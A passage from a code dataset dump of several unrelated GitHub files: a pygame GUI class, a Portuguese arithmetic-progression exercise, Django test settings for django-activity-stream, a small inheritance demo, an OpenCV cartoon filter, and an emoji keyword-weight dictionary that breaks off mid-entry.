text.append(str(int(event.distance)))\n text.append(str(event.speed))\n self.rectangle(x + 10, y + 10, 50, 40, self.grey)\n height = 0\n for z in text:\n text_surface = pygame.font.Font.render(self.event_text, z, True, self.black)\n text_rect = text_surface.get_rect()\n text_rect.x = x + 15\n text_rect.y = y + 15 + (10 * height)\n self.window.blit(text_surface, text_rect)\n height += 1\n\n def rectangle(self, x, y, width, height, color):\n pygame.draw.rect(self.window, color, (x, y, width, height))\n\n def circle(self, x, y, radius, color, outline=0):\n pygame.draw.circle(self.window, color, (x, y), radius, outline)\n\n def line(self, point1, point2, color):\n pygame.draw.line(self.window, color, point1, point2)\n\n def render(self, image, x, y, width, height):\n image = pygame.transform.scale(image, (width, height))\n surface = pygame.Rect(x, y, width, height)\n self.window.blit(image, surface)\n\n # rescales from game to gui size\n def gui_rescale(self, x):\n return int(x * 0.11763 * SCALE)\n\n def x_coord(self, x):\n return int((x * 0.11693 + 744) * SCALE)\n\n def y_coord(self, y):\n return int((-y * 0.11833 + 505) * SCALE)\n\n def gui_coords(self, x, y): # converts 2d coordinates from the game to the gui\n return self.x_coord(y), self.y_coord(x)\n\n def game_coords(self, point): # converts a point/pixel in the gui to game coordinates\n return (-(point[1] / SCALE - 505) / 0.11833, (point[0] / SCALE - 744) / 0.11693)\n","repo_name":"ddthj/OpenPaul","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":13229,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"30946818862","text":"#62: Melhore o DESAFIO 61, perguntando para o usuário se ele quer mostrar mais alguns termos. O programa encerrará quando ele disser que quer mostrar 0 termos.\n\n#FEITO POR MIM\n\na1 = int(input('Primeiro termo: '))\nr = int(input('Razão: '))\n\ntermo = 0\nwhile termo < 10:\n termo = termo + 1\n an = a1 + (termo - 1) * r\n print(an, '➝ ', end=' ')\n if termo == 10:\n print('PAUSA')\n novotermo = int(input('\\nQuantos termos você quer mostrar a mais? '))\n while novotermo != 0:\n novotermo2 = novotermo + termo\n while novotermo2 > termo:\n termo = termo + 1\n an = a1 + (termo - 1) * r\n print(an, '➝ ', end=' ')\n if novotermo2 == termo:\n print('PAUSA')\n novotermo = int(input('\\nQuantos termos você quer mostrar a mais? '))\n else: \n novotermo == 0\nprint('Progressão finalizada. Ao todo, foram exibidos {} termos.' .format(termo))\n\n#novotermo vai definir se o usuário quer continuar ou não exibindo os termos. \n#novotermo receberá o valor de quantos termos ele quer mostrar a mais e o termo estará com a configuração anterior (10)\n","repo_name":"renaisaalves/Python-CursoemVideo","sub_path":"exercicios/ex062a.py","file_name":"ex062a.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6870971918","text":"from actstream import __version__\nfrom os import getenv\nfrom pprint import pprint\ntry:\n import debug_toolbar as DEBUG_TOOLBAR\nexcept:\n DEBUG_TOOLBAR = None\n\ntry:\n import rest_framework as DRF\nexcept:\n DRF = None\n\n# Always for debugging, dont use the runtests app in production!\nDEBUG = True\n\nADMINS = (\n ('Justin Quick', 'justquick@gmail.com'),\n)\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': ':memory:',\n 'OPTIONS': {\n }\n }\n}\n\nif getenv('GITHUB_WORKFLOW', False):\n DATABASE_ENGINE = getenv('DATABASE_ENGINE', 'sqlite')\n if 'mysql' in DATABASE_ENGINE:\n DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': getenv('MYSQL_NAME', 'test'),\n 'USER': getenv('MYSQL_USER', 'root'),\n 'PASSWORD': getenv('MYSQL_PASSWORD', ''),\n 'HOST': getenv('MYSQL_HOST', '127.0.0.1'),\n 'PORT': getenv('MYSQL_PORT', '3306'),\n },\n }\n elif 'postgres' in DATABASE_ENGINE:\n DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql',\n 'NAME': getenv('POSTGRES_NAME', 'postgres'),\n 'USER': getenv('POSTGRES_USER', 'postgres'),\n 'PASSWORD': getenv('POSTGRES_PASSWORD', 'postgres'),\n 'HOST': getenv('POSTGRES_HOST', '127.0.0.1'),\n 'PORT': getenv('POSTGRES_PORT', '5432'),\n },\n }\n elif 'file' in DATABASE_ENGINE:\n DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': getenv('SQLITE_NAME', 'db.sqlite3'),\n },\n }\n print('Running with DATABASE engine', DATABASE_ENGINE)\n pprint(DATABASES)\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia. org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'America/New_York'\nUSE_TZ = False\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-us'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# Absolute path to the directory that holds media.\n# Example: '/home/media/media.lawrence.com/'\nMEDIA_ROOT = 'media'\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash if there is a path component (optional in other cases).\n# Examples: 'http://media.lawrence.com', 'http://example.com/media/'\nMEDIA_URL = '/media/'\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = 'secret-key'\n\nTEMPLATES = [{\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ]\n },\n}]\n\nMIDDLEWARE = [\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'urls'\n\n\nDEFAULT_AUTO_FIELD = 'django.db.models.AutoField'\n\nINSTALLED_APPS = [\n 'django.contrib.auth',\n 'django.contrib.admin',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.admindocs',\n 'django.contrib.sites',\n 'django.contrib.staticfiles',\n 'django.contrib.messages',\n\n 'actstream',\n\n 'testapp',\n 'testapp_nested',\n]\n\ntry:\n import debug_toolbar\nexcept:\n pass\nelse:\n INSTALLED_APPS.append('debug_toolbar')\n MIDDLEWARE.insert(0, 'debug_toolbar.middleware.DebugToolbarMiddleware')\n\nif DRF:\n INSTALLED_APPS.extend(['rest_framework', 'generic_relations'])\n\n\ntry:\n import django_extensions\nexcept:\n pass\nelse:\n INSTALLED_APPS.append('django_extensions')\n\nSTATIC_URL = '/static/'\nSTATIC_ROOT = 'static'\n\nACTSTREAM_SETTINGS = {\n 'MANAGER': 'testapp.streams.MyActionManager',\n 'FETCH_RELATIONS': True,\n 'USE_PREFETCH': True,\n 'USE_JSONFIELD': True,\n 'GFK_FETCH_DEPTH': 0,\n 'DRF': {\n 'SERIALIZERS': {\n 'auth.Group': 'testapp.drf.GroupSerializer',\n 'testapp.MyUser': 'testapp.drf.MyUserSerializer'\n },\n 'VIEWSETS': {\n 'auth.Group': 'testapp.drf.GroupViewSet'\n },\n 'PERMISSIONS': {\n 'testapp.MyUser': ['rest_framework.permissions.IsAdminUser']\n },\n 'MODEL_FIELDS': {\n 'sites.Site': ['id', 'domain']\n }\n }\n}\n\nAUTH_USER_MODEL = 'testapp.MyUser'\n\n\nREST_FRAMEWORK = {\n}\n","repo_name":"justquick/django-activity-stream","sub_path":"runtests/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":5226,"program_lang":"python","lang":"en","doc_type":"code","stars":2261,"dataset":"github-code","pt":"67"} +{"seq_id":"39362779827","text":"from student_data import Student\n\n\nclass Devops(Student):\n def __init__(self, first_name, last_name, stream): # This adds an attribute \"stream\" to the devops sub class.\n self.first_name = first_name\n self.last_name = last_name\n self.stream = stream\n\n def roll_call(self):\n print(f\"I am a {self.stream} Student\")\n # This is the same method as the parent class, however it has slightly changed functionality\n\n\n# Code demo\ns = Student(\"Ib\", \"Bocus\")\nd = Devops(\"Ib\", \"Bocus\", \"Devops\")\n\ns.roll_call()\nd.roll_call()\n","repo_name":"ibbocus/student_data_polymorphism","sub_path":"devops_student.py","file_name":"devops_student.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"44183370122","text":"#!/usr/bin/python3\nimport numpy as np\nimport cv2\n\nDEFAULT_CARTOONIFY = {\n \"bilateral_stages\": 7,\n \"bilateral_diameter\": 9,\n \"bilateral_sigma_color\": 9,\n \"bilateral_sigma_space\": 7,\n \"blur_kernal_size\":9,\n \"adaptive_thresh_block\": 9,\n \"adaptive_thresh_const\": 2,\n}\n\ndef cartoonify(filename, out_size, out_file=\"/tmp/cartoon.png\", **kwargs):\n \"\"\"将输入信号卡通化\n 减少颜色级别的数量,去除细节和高光某些边缘。\n Note\n -----\n 根据参考资料,使用双边滤波器来平滑图像并减少色阶。\n 然后应用边缘检测应用前的图像灰度和自适应检测模糊图像上的增强边缘。\n 参数\n ----------\n 文件名:str\n 输入图像的路径\n out_size : 元组\n 输出图像大小\n 输出文件:str\n 输出文件名\n \"\"\"\n\n # ------------- load from keyword arguments or use default ------------\n n_bilat = kwargs.get(\"bilateral_stages\", 7)\n bilat_diameter = kwargs.get(\"bilateral_diameter\", 9)\n bilat_sigma_color = kwargs.get(\"bilateral_sigma_color\", 9)\n bilat_sigma_space = kwargs.get(\"bilateral_sigma_space\", 7)\n blur_kernal_size = kwargs.get(\"blur_kernal_size\", 9)\n adapt_threshold_block = kwargs.get(\"adaptive_thresh_block\", 9)\n adapt_threshold_const = kwargs.get(\"adaptive_thresh_const\", 2)\n\n # ------------------ load image and downsample ------------------------\n image_rgb = cv2.imread(filename)\n\n # identify the downsample\n down = np.max((int(image_rgb.shape[0] / out_size[0]),\n int(image_rgb.shape[1] / out_size[1])))\n\n # downsample by Gaussian pyramid\n for _ in range(down):\n image_rgb = cv2.pyrDown(image_rgb)\n\n # ------------------------ bilateral filter ---------------------------\n for _ in range(n_bilat):\n image_rgb = cv2.bilateralFilter(image_rgb, d=bilat_diameter,\n sigmaColor=bilat_sigma_color, sigmaSpace=bilat_sigma_space)\n\n # ------------------------- median filter -----------------------------\n gray = cv2.cvtColor(image_rgb, cv2.COLOR_RGB2GRAY)\n blurred = cv2.medianBlur(gray, blur_kernal_size)\n\n # ------------------------ enhance edges ------------------------------\n edges = cv2.adaptiveThreshold(blurred, 255,\n cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY,\n blockSize=adapt_threshold_block, C=adapt_threshold_const)\n\n # convert back to color\n edges = cv2.cvtColor(edges, cv2.COLOR_GRAY2RGB)\n\n # enchance edges\n cartoon_image = cv2.bitwise_and(image_rgb, edges)\n\n # ------------------------- save image --------------------------------\n cv2.imwrite(out_file, cartoon_image)\n cv2.imshow('src',image_rgb)\n cv2.imshow('dst', cartoon_image)\n cv2.waitKey()\n\n\nif __name__ == \"__main__\":\n file_name = '../../../images/lena.png'\n cartoonify(file_name,(800, 600))\n","repo_name":"isLinXu/CVProcessLib","sub_path":"core/cv/contour/cartoon.py","file_name":"cartoon.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"67"} +{"seq_id":"20125037704","text":"# Names from http://www.emoji-cheat-sheet.com\ntags = {\n \":grin:\": # tense grin\n {\n \"smile\": 20,\n \"nervous\": 80,\n \"anxious\": 80,\n \"afraid\": 50,\n \"concerned\": 50,\n \"ehh\": 70,\n \"ehhh\": 70,\n \"tense\": 100,\n \"uneasy\": 80,\n \"hesistant\": 40,\n \"cold\": 80,\n \"chilly\": 80,\n \"monday\": 70\n },\n\n \":joy:\": # laughing tears\n {\n \"laughing\": 60,\n \"hysterical\": 70,\n \"funny\": 70,\n \"dying\": 60,\n \"lol\": 50,\n \"haha\": 60,\n \"lmao\": 100,\n \"lmfao\": 80,\n \"rofl\": 100,\n \"dyin\": 60\n },\n\n \":smiley:\": # smile\n {\n \"smile\": 90,\n \"bright\": 60,\n \"brighten\": 60,\n \"happy\": 80,\n \"good\": 70,\n \"great\": 70,\n \"awesome\": 60,\n \"super\": 70,\n \"fantastic\": 70,\n \"cool\": 70,\n \"me\": 40,\n \"absolutely\": 50,\n \"ooh\": 40,\n \"oooh\": 40,\n \"ooooh\": 40,\n \"oooooh\": 40\n },\n\n \":smile:\": # smile eyes\n {\n \"smile\": 100,\n \"nice\": 80,\n \"hey\": 70,\n \"joy\": 50,\n \"good\": 70,\n \"great\": 60,\n \"awesome\": 50,\n \"haha\": 80,\n \"ha\": 70,\n \"me\": 50,\n \"wednesday\": 30,\n \"fun\": 60,\n \"liked\": 80\n },\n\n \":sweat_smile:\": # oops smile\n {\n \"oops\": 90,\n \"mb\": 90,\n \"lol\": 30,\n \"phew\": 90,\n \"sorry\": 50,\n \"mistake\": 70,\n \"err\": 100,\n \"whoops\": 90,\n \"silly\": 70\n },\n\n \":satisfied:\": # XD\n {\n \"lol\": 80,\n \"lmao\": 60,\n \"ha\": 40,\n \"haha\": 50,\n \"hahaha\": 60,\n \"derp\": 70,\n \"derping\": 80,\n \"silly\": 70,\n \"idk\": 70\n },\n\n \":wink:\": # wink\n {\n \"hey\": 60,\n \"heya\": 80,\n \"sup\": 70,\n \"girl\": 50,\n \"boy\": 50,\n \"man\": 50,\n \"woman\": 50,\n \"you\": 60,\n \"heyy\": 80,\n \"heyyy\": 100,\n \"hot\": 70,\n \"yes\": 50,\n \"wink\": 100,\n \"oh\": 40,\n \"yo\": 40,\n \"weekend\": 50,\n \"pfft\": 40\n },\n\n \":blush:\": # blushing smile\n {\n \"mm\": 40,\n \"mmm\": 50,\n \"mmmm\": 60,\n \"yes\": 60,\n \"aw\": 60,\n \"aww\": 70,\n \"awww\": 80,\n \"d'aww\": 80,\n \"happy\": 80,\n \"nice\": 80,\n \"you\": 70,\n \"warm\": 70,\n \"liked\": 70,\n \"terrific\": 40,\n \"yup\": 40\n },\n\n \":yum:\": # tongue smile\n {\n \"silly\": 90,\n \"lol\": 60,\n \"hey\": 70,\n \"heyy\": 80,\n \"heyyy\": 90,\n \"cute\": 60,\n \"derp\": 80,\n \"derping\": 80,\n \"happy\": 40,\n \"yum\": 50,\n \"yummy\": 50,\n \"whatever\": 60,\n \"weekend\": 60,\n \"fun\": 70,\n \"idk\": 50\n },\n\n \":relieved:\": # peaceful smile\n {\n \"relieved\": 100,\n \"phew\": 80,\n \"glad\": 70,\n \"hope\": 80,\n \"hopeful\": 80,\n \"smile\": 30,\n \"serene\": 100,\n \"calm\": 70,\n \"ok\": 60,\n \"spring\": 40,\n \"recognize\": 20,\n \"asleep\": 30,\n \"sleep\": 30,\n \"sleepy\": 30,\n \"sleeping\": 30\n },\n\n \":heart_eyes:\": # heart eyes\n {\n \"love\": 80,\n \"yes\": 70,\n \"YAS\": 100,\n \"mm\": 70,\n \"mmm\": 80,\n \"best\": 80,\n \"hearts\": 90,\n \"smile\": 20\n },\n\n \":smirk:\": # smirk\n {\n \"hmm\": 60,\n \"ok\": 50,\n \"heyy\": 80,\n \"sup\": 80,\n \"hot\": 40,\n \"sexy\": 80,\n \"yes\": 60,\n \"you\": 60,\n \"yo\": 60,\n \"weekend\": 40,\n \"pfft\": 70\n },\n\n \":unamused:\": # sideways glance\n {\n \"eh\": 60,\n \"ehh\": 70,\n \"meh\": 70,\n \"unamused\": 90,\n \"bleh\": 60,\n \"no\": 40,\n \"nah\": 60,\n \"nope\": 70,\n \"miss\": 70,\n \"missed\": 80,\n \"anything\": 30,\n \"monday\": 60\n },\n\n \":sweat:\": # depressed\n {\n \"eh\": 50,\n \"ehh\": 50,\n \"oops\": 50,\n \"stupid\": 70,\n \"stressed\": 80,\n \"stress\": 80,\n \"sigh\": 90,\n \"disappointed\": 90,\n \"busy\": 80,\n \"sorry\": 70\n },\n\n \":confounded:\": # grossed out\n {\n \"bleh\": 80,\n \"ew\": 80,\n \"eww\": 80,\n \"ewww\": 90,\n \"blegh\": 70,\n \"nope\": 80,\n \"can't\": 20,\n \"gross\": 60,\n \"disgusting\": 80,\n \"awful\": 70,\n \"bad\": 50,\n \"creepy\": 80,\n \"nasty\": 90,\n \"evil\": 60,\n \"vile\": 60,\n \"cold\": 70,\n \"freezing\": 80,\n \"hangover\": 60,\n \"hungover\": 60\n },\n\n \":kissing_heart:\": # blow kiss\n {\n \"kiss\": 100,\n \"xo\": 80,\n \"xoxo\": 80,\n \"xoxoxo\": 80,\n \"mwah\": 100,\n \"kisses\": 70,\n \"kissing\": 60,\n \"blow\": 80,\n \"love\": 40,\n \"you\": 50\n },\n\n \":stuck_out_tongue_winking_eye:\": # tongue wink\n {\n \"lol\": 60,\n \"me\": 20,\n \"haha\": 60,\n \"jaja\": 40,\n \"jajaja\": 50,\n \"know\": 50,\n \"you\": 40,\n \"get\": 10,\n \"yo\": 50,\n \"fun\": 60,\n \"idk\": 60\n },\n\n \":rage:\": # angry\n {\n \"mad\": 80,\n \"angry\": 70,\n \"furious\": 60,\n \"rage\": 60,\n \"mine\": 60,\n \"pissed\": 90,\n \"jeez\": 70,\n \"ugh\": 30,\n \"ughh\": 40\n },\n\n \":triumph:\": # fiesty\n {\n \"mad\": 40,\n \"angry\": 40,\n \"pissed\": 50,\n \"whatever\": 80,\n \"jeez\": 80\n },\n\n \":disappointed_relieved:\": # cry\n {\n \"sad\": 80,\n \"aww\": 50,\n \"sucks\": 70,\n \"blows\": 70,\n \"dissappointed\": 50,\n \"sorry\": 40,\n \"low\": 40,\n \"blue\": 30\n },\n\n \":sob:\": # tears down face\n {\n \"dang\": 60,\n \"awww\": 40,\n \"awwww\": 50,\n \"blows\": 30,\n \"daaang\": 70,\n },\n\n \":scream:\": # scream\n {\n \"scared\": 80,\n \"fear\": 80,\n \"creepy\": 70,\n \"scary\": 80,\n \"spook\": 70,\n \"spooks\": 70,\n \"spooked\": 70,\n \"agh\": 40,\n \"scream\": 80,\n \"screaming\": 80,\n \"screamed\": 80\n },\n\n \":dizzy_face:\": # dead\n {\n \"dead\": 100,\n \"dying\": 80,\n \"dyin\": 80,\n \"bleh\": 50,\n \"blegh\": 50,\n \"kill\": 40,\n \"killed\": 60\n },\n\n \":flushed:\": # embarrassed\n {\n \"embarrassed\": 90,\n \"mb\": 50,\n \"oops\": 50,\n \"headlights\": 70,\n \"awk\": 80,\n \"awkward\": 90,\n \"awkwardness\": 90,\n \"embarrassing\": 90,\n \"bare\": 70,\n \"why\": 10\n },\n\n \":smile_cat:\": # cat\n {\n \"cat\": 100,\n \"kitten\": 90,\n \"kitty\": 80,\n \"whiskers\": 80,\n \"paw\": 40,\n \"meow\": 70,\n \"mew\": 80\n },\n\n \":no_good:\": # girl x arms\n {\n \"no\": 80,\n \"nope\": 70,\n \"nah\": 70,\n \"noo\": 80,\n \"nooo\": 90,\n \"nooooo\": 100,\n \"not\": 30,\n \"x\": 60,\n \"girl\": 50\n },\n\n \":ok_woman:\": # girl o arms\n {\n \"ok\": 70,\n \"o\": 60,\n \"oh\": 50,\n \"okay\": 70,\n \"okee\": 70,\n \"girl\": 50\n },\n\n \":see_no_evil:\": # see no evil\n {\n \"see\": 40,\n \"saw\": 40,\n \"evil\": 40,\n \"monkey\": 40\n },\n\n \":hear_no_evil:\": # hear no evil\n {\n \"hear\": 40,\n \"heard\": 40,\n \"evil\": 30,\n \"monkey\": 30\n },\n\n \":speak_no_evil:\": # speak no evil\n {\n \"speak\": 40,\n \"said\": 40,\n \"spoke\": 40,\n \"say\": 40,\n \"evil\": 20,\n \"monkey\": 20,\n \"unbelievable\": 80,\n \"things\": 40\n },\n\n \":raising_hand:\": # girl hand raised\n {\n \"raise\": 80,\n \"hand\": 80,\n \"girl\": 50,\n \"question\": 80,\n \"ask\": 70,\n \"me\": 40,\n \"yo\": 50,\n \"what\": 40,\n \"what's\": 40,\n \"who\": 40,\n \"when\": 40,\n \"why\": 40,\n \"why's\": 40,\n \"when's\": 40,\n \"who's\": 40,\n \"where\": 40,\n \"where's\": 40\n },\n\n \":raised_hands:\": # touchdown\n {\n \"me\": 80,\n \"praise\": 70,\n \"hands\": 60,\n \"hand\": 30,\n \"ooh\": 60,\n \"lord\": 60,\n \"thank\": 60,\n \"ty\": 60,\n \"thanks\": 60,\n \"thx\": 60\n },\n\n \":person_frowning:\": # girl sheepish\n {\n \"sheepish\": 90,\n \"sorry\": 70,\n \"apologies\": 70,\n \"mess\": 40,\n \"messed\": 50\n },\n\n \":pray:\": # prayer\n {\n \"praise\": 90,\n \"pray\": 90,\n \"prayer\": 90,\n \"hands\": 50,\n \"lord\": 60,\n \"yes\": 50,\n \"YAS\": 50,\n \"oh\": 60,\n \"god\": 60,\n \"excellent\": 50,\n \"thank\": 70,\n \"ty\": 70,\n \"thanks\": 70,\n \"thx\": 60\n },\n\n \":scissors:\": # scissors\n {\n \"scissors\": 100,\n \"cut\": 70\n },\n\n \":airplane:\": # airplane\n {\n \"plane\": 70,\n \"airplane\": 90,\n \"fly\": 50,\n \"flying\": 60,\n \"jet\": 60\n },\n\n \":raised_hand:\": # stop hand\n {\n \"hand\": 80,\n \"pause\": 70,\n \"stop\": 60\n },\n\n \":v:\": # hand peace sign\n {\n \"hand\": 40,\n \"peace\": 70,\n \"pce\": 70,\n \"seeya\": 60,\n \"cya\": 60,\n \"bye\": 70,\n \"goodbye\": 70\n },\n\n \":pencil2:\": # pencil\n {\n \"pencil\": 100,\n \"write\": 50\n },\n\n \":black_nib:\": # pen\n {\n \"pen\": 100,\n \"quill\": 70,\n \"write\": 50,\n \"wrote\": 50\n },\n\n \":sparkles:\": # sparkles\n {\n \"sparkle\": 70,\n \"sparkles\": 70,\n \"shine\": 80,\n \"star\": 70,\n \"stars\": 70\n },\n\n \":snowflake:\": # snowflake\n {\n \"snow\": 90,\n \"snowflake\": 100,\n \"winter\": 70,\n \"snowfall\": 70,\n \"inches\": 20\n },\n\n \":heart:\": # heart\n {\n \"heart\": 80,\n \"love\": 80,\n \"ily\": 70\n },\n\n \":rocket:\": # rocket ship\n {\n \"space\": 60,\n \"rocket\": 60,\n \"spaceship\": 90,\n \"ship\": 40,\n \"outer\": 40,\n \"moon\": 40,\n \"mars\": 30,\n \"pikmin\": 80\n },\n\n \":train:\": # train\n {\n \"train\": 80,\n \"ride\": 50,\n \"rails\": 40,\n \"railway\": 60,\n \"railroad\": 60,\n \"crossing\": 30,\n \"traincar\": 80\n },\n\n \":bus:\": # bus\n {\n \"bus\": 90,\n \"stop\": 50\n },\n\n \":ambulance:\": # ambulance\n {\n \"emergency\": 80,\n \"ER\": 80,\n \"ambulance\": 90\n },\n\n \":fire_engine:\": # firetruck\n {\n \"fire\": 60,\n \"firetruck\": 60,\n },\n\n \":police_car:\": # cop car\n {\n \"cop\": 80,\n \"cops\": 80,\n \"pigs\": 40,\n \"police\": 70,\n \"car\": 30,\n \"flashing\": 20\n },\n\n \":blue_car:\": # car\n {\n \"car\": 80,\n \"auto\": 40,\n \"automobile\": 90,\n \"cars\": 70,\n \"drive\": 70,\n \"vroom\": 100\n },\n\n \":truck:\": # moving truck\n {\n \"haul\": 80,\n \"transport\": 70,\n \"relocate\": 60\n },\n\n \":ship:\": # boat\n {\n \"boat\": 80,\n \"ship\": 70,\n \"sea\": 70,\n \"ocean\": 70,\n \"cruise\": 50,\n \"water\": 50,\n \"titantic\": 70\n },\n\n \":traffic_light:\": # traffic light\n {\n \"traffic\": 90,\n \"light\": 30,\n \"green\": 30,\n \"red\": 30,\n \"yellow\": 30\n },\n\n \":construction:\": # road block\n {\n \"construction\": 90,\n \"block\": 30,\n \"blockage\": 70,\n \"blocked\": 40,\n \"zone\": 30,\n \"road\": 30\n },\n\n \":no_entry_sign:\": # do not sign\n {\n \"no\": 60\n },\n\n \":bike:\": # bicycle\n {\n \"bike\": 90,\n \"bicycle\": 90,\n \"ride\": 50,\n \"pedal\": 70\n },\n\n \":walking:\": # man walking\n {\n \"walk\": 90,\n \"stroll\": 70,\n \"dude\": 60,\n \"meh\": 30,\n \"life\": 60\n },\n\n \":toilet:\": # toilet\n {\n \"toilet\": 80,\n \"bathroom\": 80,\n \"butthurt\": 40\n },\n\n \":cool:\": # cool square\n {\n \"cool\": 90,\n \"coolio\": 70\n },\n\n \":ok:\": # ok square\n {\n \"ok\": 70,\n \"okay\": 60\n },\n\n \":us:\": # american flag\n {\n \"murica\": 100,\n \"america\": 80,\n \"flag\": 40,\n \"american\": 80,\n \"'murica\": 100\n },\n\n \":hourglass:\": # hourglass\n {\n \"time\": 60,\n \"hourglass\": 90,\n \"timer\": 60,\n \"timed\": 60,\n \"think\": 60,\n \"thinking\": 70,\n \"now\": 40\n },\n\n \":alarm_clock:\": # alarm clock\n {\n \"time\": 50,\n \"alarm\": 60,\n \"clock\": 60,\n \"early\": 50\n },\n\n \":sunny:\": # sun\n {\n \"sun\": 80,\n \"sunlight\": 80,\n \"rays\": 40,\n \"tan\": 60,\n \"bronze\": 60,\n \"sky\": 80\n },\n\n \":cloud:\": # cloud\n {\n \"cloud\": 80,\n \"clouds\": 80,\n \"sky\": 80\n },\n\n \":phone:\": # landline phone\n {\n \"phone\": 60,\n \"ring\": 30,\n \"dial\": 50,\n \"call\": 40\n },\n\n \":umbrella:\": # umbrella with rain\n {\n \"rain\": 70,\n \"raindrops\": 70,\n \"umbrella\": 80\n },\n\n \":point_up:\": # hand pointing up\n {\n \"up\": 80,\n \"above\": 80\n },\n\n \":hotsprings:\": # warm wavy pattern\n {\n \"bacon\": 90,\n \"sizzle\": 40\n },\n\n \":recycle:\": # recycling symbol\n {\n \"recycle\": 80,\n \"green\": 50\n },\n\n \":zap:\": # lightning bolt\n {\n \"flash\": 70,\n \"storm\": 60,\n \"lightning\": 60\n },\n\n \":church:\": # church\n {\n \"faith\": 70,\n \"god\": 40\n },\n\n \":tent:\": # tent\n {\n \"camp\": 70,\n \"camping\": 70,\n \"tent\": 50\n },\n\n \":city_sunset:\": # city sunset\n {\n \"city\": 80,\n \"sunset\": 70,\n \"building\": 60,\n \"buildings\": 60\n },\n\n \":rose:\": # rose\n {\n \"rose\": 80,\n \"roses\": 80,\n \"flower\": 60,\n \"flowers\": 60,\n \"thorns\": 30\n },\n\n \":four_leaf_clover:\": # four-leaf clover\n {\n \"clover\": 100,\n \"four\": 40,\n \"good\": 30,\n \"luck\": 90\n },\n\n \":fallen_leaf:\": # brown leaves\n {\n \"fall\": 40,\n \"autumn\": 70,\n \"leaves\": 50,\n \"leaf\": 50\n },\n\n \":tangerine:\": # tangerine\n {\n \"fruit\": 70,\n \"food\": 40,\n \"eat\": 40\n },\n\n \":pizza:\": # pizza\n {\n \"pizza\": 80,\n \"delivery\": 50,\n \"food\": 50,\n \"eat\": 50\n },\n\n \":cookie:\": # cookie\n {\n \"cookie\": 80,\n \"dessert\": 50,\n \"bake\": 50,\n \"baked\": 40,\n \"choclate\": 30,\n \"sugar\": 30\n },\n\n \":mushroom:\": # mushroom\n {\n \"mushroom\": 80,\n \"mushrooms\": 80,\n \"shrooms\": 90,\n \"high\": 40,\n \"tripping\": 40\n },\n\n \":beers:\": # beers\n {\n \"cheers\": 70,\n \"beer\": 70,\n \"drink\": 40,\n \"drinking\": 80,\n \"party\": 50\n },\n\n \":gift:\": # gift\n {\n \"gift\": 60,\n \"present\": 60,\n \"surprise\": 50,\n \"box\": 30\n },\n\n \":santa:\": # santa head\n {\n \"ho\": 60,\n \"Christmas\": 90\n },\n\n \":tada:\": # confetti\n {\n \"party\": 70,\n \"birthday\": 80,\n \"partying\": 70,\n \"parties\": 70,\n \"fun\": 60\n },\n\n \":art:\": # paint palette\n {\n \"paint\": 80,\n \"draw\": 50,\n \"art\": 70,\n \"artist\": 70,\n \"canvas\": 60,\n \"palette\": 70\n },\n\n \":performing_arts:\": # theater masks\n {\n \"art\": 40,\n \"arts\": 40,\n \"theater\": 80,\n \"acting\": 80,\n \"actor\": 70,\n \"actress\": 70\n },\n\n \":video_game:\": # video game controller\n {\n \"game\": 70,\n \"video\": 60,\n \"gaming\": 80,\n \"play\": 40\n },\n\n \":musical_note:\": # musical notes\n {\n \"music\": 80,\n \"song\": 70,\n \"note\": 60,\n \"notes\": 60,\n \"sing\": 60,\n \"listen\": 70,\n \"instrument\": 50,\n \"drum\": 30,\n \"drums\": 30,\n \"guitar\": 30,\n \"singer\": 30,\n \"bass\": 30,\n \"keyboard\": 30,\n \"piano\": 30,\n \"strings\": 30,\n \"horns\": 30,\n \"woodwinds\": 30\n },\n\n \":basketball:\": # basketball\n {\n \"basketball\": 90,\n \"ball\": 80,\n \"life\": 50,\n \"sports\": 60,\n \"sport\": 40\n },\n\n \":runner:\": # man running\n {\n \"running\": 90,\n \"man\": 60,\n \"bye\": 50,\n \"seeya\": 50,\n \"cya\": 50,\n \"run\": 90,\n \"nope\": 50,\n \"sports\": 70,\n \"sport\": 40\n },\n\n \":swimmer:\": # man swimming\n {\n \"swim\": 90,\n \"swimming\": 90,\n \"summer\": 40,\n \"water\": 70,\n \"pool\": 70,\n \"practice\": 30,\n \"sport\": 40\n },\n\n \":house:\": # house\n {\n \"house\": 90,\n \"home\": 